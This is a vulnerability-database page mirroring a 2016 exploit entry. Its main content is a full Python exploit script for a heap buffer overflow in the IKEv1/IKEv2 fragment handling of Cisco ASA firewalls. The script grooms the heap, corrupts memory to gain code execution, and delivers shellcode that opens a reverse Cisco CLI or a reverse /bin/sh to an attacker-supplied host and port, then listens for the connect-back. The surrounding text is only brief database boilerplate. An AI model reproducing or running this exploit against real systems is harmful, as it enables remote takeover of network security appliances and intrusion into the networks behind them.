Lucene search
K

Cisco ASA Software IKEv1 / IKEv2 Buffer Overflow

🗓️ 17 May 2016 00:00:00Reported by Exodus IntelligenceType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 104 Views

Cisco ASA Software IKEv1 / IKEv2 Buffer Overflow Python Scrip

Related
Code
`#!/usr/bin/env python2.7  
  
import socket  
import sys  
import struct  
import string  
import random  
import time  
  
  
  
# Spawns a reverse cisco CLI  
cliShellcode = (  
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"  
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"  
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"  
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"  
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"  
"\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00"  
"\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0"  
"\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00"  
"\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8"  
"\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3"  
"\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1"  
"\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08"  
"\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04"  
"\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44"  
"\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb"  
"\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08"  
"\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50"  
"\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb"  
"\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17"  
"\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31"  
"\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20"  
"\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff"  
"\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00"  
)  
  
# Spawns a reverse "/bin/sh"  
shShellcode = (  
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"  
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"  
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"  
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"  
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"  
"\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8"  
"\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed"  
"\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74"  
"\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59"  
"\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8"  
"\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24"  
"\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80"  
"\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00"  
"\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00"  
"\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5"  
"\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00"  
"\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f"  
"\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d"  
"\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4"  
"\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2"  
"\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20"  
"\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00"  
"\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00"  
"\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00"  
"\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00"  
"\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83"  
"\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd"  
"\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73"  
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8"  
"\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31"  
"\xc0\xc3"  
)  
  
  
# SA Session  
class Session(object):  
def __init__(self, host_port, id = None):  
if id == None:  
id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))  
  
self._host, self._port = host_port  
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
self._id = id  
self._mid = 1  
  
  
# Init session  
print("[+] Using session ID: " + self._id)  
self.send(self.make_SA())  
  
# Check if we got something  
res = self.recv()  
cookie = res[8:16]  
print("[+] Cookie: " + cookie)  
  
self._cookie = cookie  
  
# Enforce value of 0x21  
if ord(res[16]) != 0x21:  
raise Exception("Invalid router response")  
  
print("[+] New SA successfuly created.")  
  
  
# UPD socket helpers  
def send(self, buf):  
self._sock.sendto(buf, (self._host, self._port))  
  
def recv(self, size = 4096):  
data, addr = self._sock.recvfrom(size)  
return data  
  
def make_SA(self):  
buf = ""  
buf += self._id # Initiator SPI   
buf += "\x00"*8 # Responder SPI  
buf += "\x21" # next payload (security association)  
buf += "\x20" # version  
buf += "\x22" # exchange type  
buf += "\x08" # flags  
buf += "\x00"*4 # message ID  
buf += "$$$$" # length  
  
# stolen from pcap  
# THIS IS SECURITY ASSOCIATION  
buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e"  
  
# THIS IS KEY EXCHANGE  
# this is the type of the next payload...  
buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID  
# KEY EXCHANGE DATA  
buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92"  
  
# this is the Nonce payload  
buf += "\x2b"  
buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee"  
# lets try a vendor id or three  
buf += "\x2b" # next payload, more vendor ID  
buf += "\x00" # critical bit  
vid = "CISCO-DELETE-REASON"  
buf += struct.pack(">H", len(vid)+4)  
buf += vid  
  
# another vendor id  
buf += "\x2b" # next payload, more vendor ID  
buf += "\x00" # critical bit  
vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc."  
buf += struct.pack(">H", len(vid)+4)  
buf += vid  
  
# another vendor id  
buf += "\x2b" # next payload, more vid  
buf += "\x00" # crit  
vid = "CISCO-GRE-MODE"  
buf += struct.pack(">H", len(vid)+4)  
buf += vid  
  
# last vendor id  
buf += "\x00" # next payload  
buf += "\x00"  
vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3"  
buf += struct.pack(">H", len(vid)+4)  
buf += vid  
  
return buf.replace("$$$$", struct.pack(">L", len(buf)))  
  
def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit):  
buf = ''  
buf += self._id # Initiator SPI (random)  
buf += self._cookie # Responder SPI  
buf += "\x84" # next payload  
buf += "\x20" # version  
buf += "\x25" # exchange type (2=identify protection)  
buf += "\x08" # flags  
buf += "\x00\x00\x00\x01" # message ID  
buf += "ABCD" # length  
  
# PAYLOAD  
payload = ""  
payload += "\x00" # next payload (none)  
payload += "\x00" # critical bit  
payload += struct.pack(">H", flength) #payload_len) # length  
payload += struct.pack(">H", fragid) # frag ID  
payload += struct.pack("B", seqno) # frag sequence  
payload += struct.pack("B", lastfrag)  
payload += sploit  
  
buf += payload  
return buf.replace("ABCD", struct.pack(">L", len(buf)))  
  
  
def send_fragment(self, flength, seqno, fragid, lastfrag, sploit):  
buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit)  
self.send(buf)  
  
# We're not supposed to receive anything if everything went  
# according to plan  
  
def make_cisco_option_list(self, opt_lst):  
buf = ''  
buf += self._id # Initiator SPI (random)  
buf += self._cookie # Responder SPI  
buf += "\x2f" # next payload  
buf += "\x20" # version  
buf += "\x25" # exchange type (2=identify protection)  
buf += "\x08" # flags  
buf += struct.pack(">I", 1) # message ID  
buf += "ABCD" # length  
  
# PAYLOAD  
payload = ""  
payload += "\x00" # next payload (none)  
payload += "\x00" # critical bit  
payload += "EF" #payload_len) # length  
payload += "\x03" # CFG_SET  
payload += "\x00\x00\x00" # Reserved  
  
total = 0x8  
for size, n in opt_lst:  
option = struct.pack(">H", 0x6000) #id  
option += struct.pack(">H", size) # data length  
option += "A" * (size)  
  
total += (size + 4) * n  
payload += option * n  
buf += payload  
  
  
packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total))  
  
return packet  
  
  
class Exploit(object):  
def __init__(self, host, revHost, revPort = 4444):  
self._host = host  
self._port = 500  
self._revHost = revHost  
self._revPort = revPort  
self._sessions = []  
  
  
# Create a new SA session  
def create_SA(self, id = None):  
  
# Create a new socket for session  
sess = Session((self._host, self._port), id)  
  
# Append to session list  
self._sessions.append(sess)  
  
return sess  
  
  
# Interact with reverse shell  
def interact(self):  
from telnetlib import Telnet  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
  
s.bind((self._revHost, self._revPort))  
s.listen(5)  
cli = s.accept()[0]  
s.close()  
print("[+] Got connect-back")  
  
t = Telnet()  
t.sock = cli  
t.interact()  
  
def buildPayload(self, cli = False):  
if cli == False:  
buf = bytearray(shShellcode)  
# Adjust IP and port  
buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost)  
buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort)  
Shellcode = bytes(buf)  
else:  
Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort))  
  
return Shellcode  
  
  
if __name__ == "__main__":  
if len(sys.argv) < 3:  
print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0]))  
sys.exit(0)  
  
#TODO: Check host  
host = sys.argv[1]  
revHost = sys.argv[2]  
  
# Parse revHost  
port = 4444  
if revHost.rfind(":") != -1:  
revHost, port = revHost.split(":")  
port = int(port)  
  
exploit = Exploit(host, revHost, port)  
sess1 = exploit.create_SA()  
sess2 = exploit.create_SA()  
  
n = 0xd6  
sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3))  
  
# Send packets which will trigger the vulnerability  
# Weird packet to get a size of 0x1  
sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7))  
  
# This fragment will be the one being copied  
# during the memory corruption  
buf = "A" * (n - 0xd + 0x3)  
buf += struct.pack("<I", 0xef000000)  
buf += struct.pack("<I", 0x00a11ccd) # chunk magics  
buf += struct.pack("<I", 0xe100d4d0)  
buf += struct.pack("B", 0x61) # set size from 0x31 to 0x61 in order to encompass the  
# adjacent chunk on free  
sess2.send_fragment(8 + n + 3, 1, 6, 0, buf)  
  
  
sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8)  
pkt = sess1.make_cisco_option_list((  
(0xd0, 0x30),   
)  
)  
  
# Defragment heap  
sess1.send(pkt)  
sess1.send(pkt)  
sess1.send(pkt)  
  
# Prepare a fake chunk  
buf = ""  
buf += struct.pack("<I", 0x60)  
buf += struct.pack("<I", 0x102)  
buf += struct.pack("<I", 0xa11c0123)  
buf += struct.pack("<I", 0xe0)  
buf += "A" * 0xe8  
  
# And allocate it right after a 0x100 bytes hole  
sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf)  
  
# Trigger the overflow  
sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7))  
  
# Retrieve of fake freed block  
#buf = "\xcc" * (0xd0 - len(buf))  
buf = "\x00" * 0xd0  
  
  
buf += struct.pack("<I", 0xe100d4d0)  
buf += struct.pack("<I", 0x31)  
  
# this is a special writable address in the process  
# it translate into the following executable code:  
# nop / jmp [ecx]  
# since ecx happens to hold a pointer to a controlled buffer  
# the execution flow will be redirected to attacker controlled data  
what = 0xc821ff90  
  
# Just some writable address in the process which doesn't seem to be used  
where = 0xc8002000 - 0x8  
  
buf += struct.pack("<I", what)  
buf += struct.pack("<I", where)  
buf += struct.pack("<I", 0xf3ee0123)  
buf += struct.pack("<I", 0x0) * 5  
buf += struct.pack("<I", 0x5ee33210)  
buf += struct.pack("<I", 0xf3eecdef)  
buf += struct.pack("<I", 0x30)  
buf += struct.pack("<I", 0x132)  
buf += struct.pack("<I", 0xa11c0123)  
buf += struct.pack("<I", 0x100)  
buf += struct.pack("<I", 0x0) * 2  
  
# Second write-4 pointers  
# This is the address of the pointer to the "list_add" function  
# which will give us control of execution flow  
where = 0x0A99B7A4 - 0x10  
  
# This is the address where the opcode sequence "nop / jmp [ecx]" is located  
what = 0xc8002000  
  
buf += struct.pack("<I", what)  
buf += struct.pack("<I", where)  
  
buf += "\x00" * (0x128 - len(buf))  
  
# Try to chain a config list and a fragment packet  
packet = bytearray()  
packet += sess1._id # Initiator SPI (random)  
packet += sess1._cookie # Responder SPI  
packet += "\x2f" # next payload option list  
packet += "\x20" # version  
packet += "\x25" # exchange type (2=identify protection)  
packet += "\x08" # flags  
packet += struct.pack(">I", 1) # message ID  
packet += "XXXX" # total length including header  
  
payload = bytearray()  
payload += "\x00" # next payload (frag)  
payload += "\x00" # critical bit  
payload += "\x00\x00" # payload length  
payload += "\x03" # CFG_SET  
payload += "\x00\x00\x00" # Reserved  
  
size = 0x130  
option = struct.pack(">H", 0x8400) #id  
option += struct.pack(">H", size) # data length  
option += "\x90" * 0x8 + buf  
  
payload += option * 0x10  
  
  
# Update payload length  
payload[2:4] = struct.pack(">H", len(payload))  
  
packet += payload  
  
# Update payload length  
packet[0x18:0x1C] = struct.pack(">I", len(packet))  
  
  
packet = bytes(packet)  
  
# Reallocate the fake freed 0x130 bytes chunk with controlled data  
# this way we can perform a write-4 memory corruption when freeing   
# the subsequent memory  
sess1.send(packet)  
  
time.sleep(0.2)  
#raw_input()  
packet = bytearray()  
packet += sess1._id # Initiator SPI (random)  
packet += sess1._cookie # Responder SPI  
packet += "\x84" # next payload option list  
packet += "\x20" # version  
packet += "\x25" # exchange type (2=identify protection)  
packet += "\x08" # flags  
packet += struct.pack(">I", 1) # message ID  
packet += "XXXX" # total length including header  
  
buf = exploit.buildPayload(cli = True)   
  
flength = len(buf) + 0x8  
fragid = 0xeb  
seqno = 0x5  
lastfrag = 0  
payload = bytearray()   
# Jump over garbage directly into shellcode (interpreted as jmp +0x6)  
payload += "\xeb" # next payload (none)  
payload += "\x06" # critical bit  
payload += struct.pack(">H", flength) #payload_len) # length  
payload += struct.pack(">H", fragid) # frag ID  
payload += struct.pack("B", seqno) # frag sequence  
payload += struct.pack("B", lastfrag)  
payload += buf  
  
packet += payload  
  
# Update payload length  
packet[0x18:0x1C] = struct.pack(">I", len(packet))  
  
  
packet = bytes(packet)  
  
# Trigger the 2 write-4 and get code execution  
sess1.send(packet)  
  
# Hopefully we'll get something interesting  
exploit.interact()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 May 2016 00:00Current
0.9Low risk
Vulners AI Score0.9
EPSS0.89776
104